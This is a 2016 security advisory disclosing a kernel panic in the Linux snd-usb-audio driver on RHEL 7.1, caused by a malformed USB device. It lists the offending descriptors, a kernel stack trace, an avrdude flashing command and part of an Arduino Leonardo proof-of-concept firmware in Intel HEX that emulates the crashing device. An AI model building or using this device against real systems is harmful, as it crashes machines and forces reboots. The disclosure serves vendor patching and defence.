Linux snd-usb-audio Denial Of Service

`OS-S Security Advisory 2016-17  
Linux snd-usb-audio Multiple Free   
  
Date: March 4th, 2016  
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg  
CVE: not yet assigned  
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)  
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes (multiple   
free) on invalid USB device descriptors (snd-usb-audio driver)  
Severity: Critical. The Kernel panics. A reboot is required.  
Ease of Exploitation: Trivial  
Vulnerability type: Wrong input validation  
Products: RHEL 7.1 including all updates  
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the   
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)  
Vendor: Red Hat  
Vendor contacted: November, 12th 2015  
PDF of advisory: https://os-s.net//advisories/OSS-2016-17_snd-usb-audio.pdf  
  
Abstract:  
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB   
device requiring the snd-usb-audio driver.  
  
Detailed product description:  
We confirmed the bug on the following system:  
RHEL 7.1  
Kernel 3.10.0-229.20.1.el7.x86_64  
Kernel 3.10.0-327.10.1.el7.x86_64  
Further products or kernel versions have not been tested.  
How reproducible: Always  
Actual results: Kernel crashes.   
  
Description:  
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo   
(github.com/schumilo) using the following device descriptor:  
  
[*] Device-Descriptor  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0x3  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x582  
idProduct: 0x0  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
  
  
  
  
  
This is the configuration descriptor containing the malicious value for   
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the   
system (multiple free).  
  
  
  
  
  
[*] Configuration-Descriptor  
bLength: 0x9  
bDescriptorType: 0x2  
wTotalLength: 0x27  
bNumInterfaces: 0x1  
bConfigurationValue: 0x1  
iConfiguration: 0x0  
bmAttributes: 0x0  
bMaxPower: 0x31  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x3  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x81   
bmAttribut: 0x3   
wMaxPacketSize: 0x404  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x1   
bmAttribut: 0x2   
wMaxPacketSize: 0x4  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x82   
bmAttribut: 0x1  
wMaxPacketSize: 0x4  
bInterval: 0xc   
  
A Kernel Address Sanitizer (KASan) report is available at https://os-s.net/advisories/OSS-2016-17_KASan_Report.txt.  
  
Proof of Concept:  
For a proof of concept, we are providing an Arduino Leonardo firmware file. This   
firmware will emulate the defective USB device.  
  
  
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U   
flash:w:binary.hex  
  
  
The firmware has been attached to this bug report.  
To prevent the automated delivery of the payload, a jumper may be used to   
connect port D3 and 3V3!  
  
Severity and Ease of Exploitation:  
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,   
only physical access to the system is required.  
  
Vendor Communication:  
We contacted Red Hat on the November, 12th 2015.  
To this day, no security patch was provided by the vendor.  
Since our 90-day Responsible Discourse deadline is expired, we publish this   
Security Advisory.   
  
References:  
https://bugzilla.redhat.com/show_bug.cgi?id=1283358  
  
  
  
Kernel Stacktrace:  
  
[ 32.951497] usb 1-1: new full-speed USB device number 2 using xhci_hcd  
[ 33.172627] usb 1-1: New USB device found, idVendor=0582, idProduct=0000  
[ 33.179073] usb 1-1: New USB device strings: Mfr=1, Product=2,   
SerialNumber=3  
[ 33.186972] usb 1-1: Product: ĉ  
[ 33.190732] usb 1-1: Manufacturer: ĉ  
[ 33.195718] usb 1-1: SerialNumber: %  
[ 33.206296] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc   
says 96 microframes  
[ 33.344127] BUG: unable to handle kernel NULL pointer dereference at   
(null)  
[ 33.345023] IP: [<ffffffffa041d063>] free_substream.part.0+0x53/0x70   
[snd_usb_audio]  
[ 33.345023] PGD 0   
[ 33.345023] Oops: 0000 [#1] SMP   
[ 33.345023] Modules linked in: snd_usb_audio(+) snd_usbmidi_lib snd_hwdep   
snd_rawmidi snd_seq snd_seq_device snd_pcm snd_timer snd soundcore   
ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute   
bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6   
nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw   
ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4   
nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw   
iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm   
drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs   
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic   
pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod  
[ 33.345023] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted   
3.10.0-229.14.1.el7.x86_64 #1  
[ 33.345023] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS   
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014  
[ 33.345023] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000  
[ 33.345023] RIP: 0010:[<ffffffffa041d063>] [<ffffffffa041d063>]   
free_substream.part.0+0x53/0x70 [snd_usb_audio]  
[ 33.345023] RSP: 0018:ffff88000bd239b8 EFLAGS: 00010217  
[ 33.345023] RAX: ffff88000c53c101 RBX: ffff88000c53c080 RCX: 00000000000067bd  
[ 33.345023] RDX: 00000000000067bc RSI: ffffea00002f5400 RDI: ffff88000e401900  
[ 33.345023] RBP: ffff88000bd239d8 R08: 0000000000016420 R09: ffff88000fc16420  
[ 33.345023] R10: ffffea0000314f00 R11: ffffffffa041d060 R12: 0000000000000000  
[ 33.345023] R13: ffff8800000588b8 R14: ffff880000058818 R15: 0000000000000000  
[ 33.345023] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)   
knlGS:0000000000000000  
[ 33.345023] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b  
[ 33.345023] CR2: 0000000000000000 CR3: 000000000bd05000 CR4:   
00000000000006f0  
[ 33.345023] DR0: 0000000000000000 DR1: 0000000000000000 DR2:   
0000000000000000  
[ 33.345023] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400  
[ 33.345023] Stack:  
[ 33.345023] ffff880000058800 ffff880000058600 0000000000000000 ffff88000c388a68  
[ 33.345023] ffff88000bd239f0 ffffffffa041d319 ffffffffa03da0b8 ffff88000bd23a10  
[ 33.345023] ffffffffa03c88b8 ffff88000f5c2a80 ffff88000c388980 ffff88000bd23a20  
[ 33.345023] Call Trace:  
[ 33.345023] [<ffffffffa041d319>] snd_usb_audio_pcm_free+0x69/0x70   
[snd_usb_audio]  
[ 33.345023] [<ffffffffa03c88b8>] snd_pcm_free+0x58/0x90 [snd_pcm]  
[ 33.345023] [<ffffffffa03c8902>] snd_pcm_dev_free+0x12/0x20 [snd_pcm]  
[ 33.345023] [<ffffffffa03a2ec9>] __snd_device_free+0x29/0x80 [snd]  
[ 33.345023] [<ffffffffa03a319b>] snd_device_free_all+0x3b/0x50 [snd]  
[ 33.345023] [<ffffffffa039c8ae>] release_card_device+0x1e/0x80 [snd]  
[ 33.345023] [<ffffffff813cdde2>] device_release+0x32/0xa0  
[ 33.345023] [<ffffffff812d6efe>] kobject_release+0x7e/0x1b0  
[ 33.345023] [<ffffffff812d6db8>] kobject_put+0x28/0x60  
[ 33.345023] [<ffffffff813ce107>] put_device+0x17/0x20  
[ 33.345023] [<ffffffffa039cb09>] snd_card_free_when_closed+0x29/0x40 [snd]  
[ 33.345023] [<ffffffffa039cc64>] snd_card_free+0x54/0x90 [snd]  
[ 33.345023] [<ffffffffa041bf83>] ? create_composite_quirk+0x73/0xb0   
[snd_usb_audio]  
[ 33.345023] [<ffffffffa040e991>] usb_audio_probe+0x251/0x8d0 [snd_usb_audio]  
[ 33.345023] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0  
[ 33.345023] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390  
[ 33.345023] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0  
[ 33.345023] [<ffffffff813d3420>] ? __device_attach+0x40/0x40  
[ 33.345023] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0  
[ 33.345023] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20  
[ 33.345023] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0  
[ 33.345023] [<ffffffff813d3b34>] driver_register+0x64/0xf0  
[ 33.345023] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160  
[ 33.345023] [<ffffffffa0437000>] ? 0xffffffffa0436fff  
[ 33.345023] [<ffffffffa043701e>] usb_audio_driver_init+0x1e/0x1000   
[snd_usb_audio]  
[ 33.345023] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230  
[ 33.345023] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40  
[ 33.345023] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0  
[ 33.345023] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150  
[ 33.345023] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0  
[ 33.345023] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b  
[ 33.345023] Code: 0d eb 2e 0f 1f 44 00 00 4c 89 e3 49 89 c4 48 8b 7b 48 e8   
81 de d8 e0 48 8b 7b 58 e8 78 de d8 e0 48 89 df e8 70 de d8 e0 4d 39 ec <49>   
8b 04 24 75 d7 49 8b be b8 00 00 00 e8 5b de d8 e0 5b 41 5c   
[ 33.345023] RIP [<ffffffffa041d063>] free_substream.part.0+0x53/0x70   
[snd_usb_audio]  
[ 33.345023] RSP <ffff88000bd239b8>  
[ 33.345023] CR2: 0000000000000000  
[ 33.876830] ---[ end trace b239663354a1c556 ]---  
[ 33.882175] Kernel panic - not syncing: Fatal exception  
[ 33.883149] drm_kms_helper: panic occurred, switching back to text console  
  
  
Arduino Leonardo Firmware:  
  
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C94C4050C942F04CA  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C940E02C1  
:100060000C94C5000C94C5000C94C5000C94C500FC  
:100070000C94C5000C94C5000C94C5000C94C500EC  
:100080000C94C5000C94C5000C94C5000C94C500DC  
:100090000C94C5000C94C5000C94C5000C94C500CC  
:1000A0000C94C5000C94C5000C94C5000B030E0302  
:1000B000010305032F032F032F03120316031A0353  
:1000C000200324032F032A030000000200080E006F  
:1000D00000030401000B000000000000000000000D  
:1000E00000000000000004080201104080401020C1  
:1000F00040804080080204018040201002011080EE  
:100100001020404004040404040304050202020217  
:1001100004030202020206060606060604040202A0  
:100120000204000000002300260029002C002F00FC  
:1001300000000000250028002B002E0031000000E8  
:100140000000240027002A002D00300000C180811B  
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077  
:10016000B1E0E4EDF3E102C005900D92A436B107D1  
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C  
:10018000E1F70E94C8000C9404070C940000089545  
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421  
:1001A000DEBF0FBECDBF0E94A1020E94C70060E06B  
:1001B00083E00E94300361E087E00E94300361E049  
:1001C00088E00E9430030E9459067E012AE9E20E6F  
:1001D000F11C84E093E0D70111969C938E9389E003  
:1001E00094E013969C938E93129782E2E2E1F1E001  
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:10020000E1F788E1E4E3F1E0DE01939601900D92DD  
:100210008A95E1F782E1ECE4F1E0DE01DB96019002  
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:1004400068053091640523E0230F2D3720F40196D1  
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:10046000209364058093650590936605A0936705C6  
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:100940008DE394E09F938F930E9483068CE0E89E52  
:1009500070011124E0917505F0917605EE0DFF1DF3  
:1009600089E0DE01119601900D928A95E1F7C801A8  
:100970000E94D50349E050E0BE016F5F7F4F80E0E9  
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`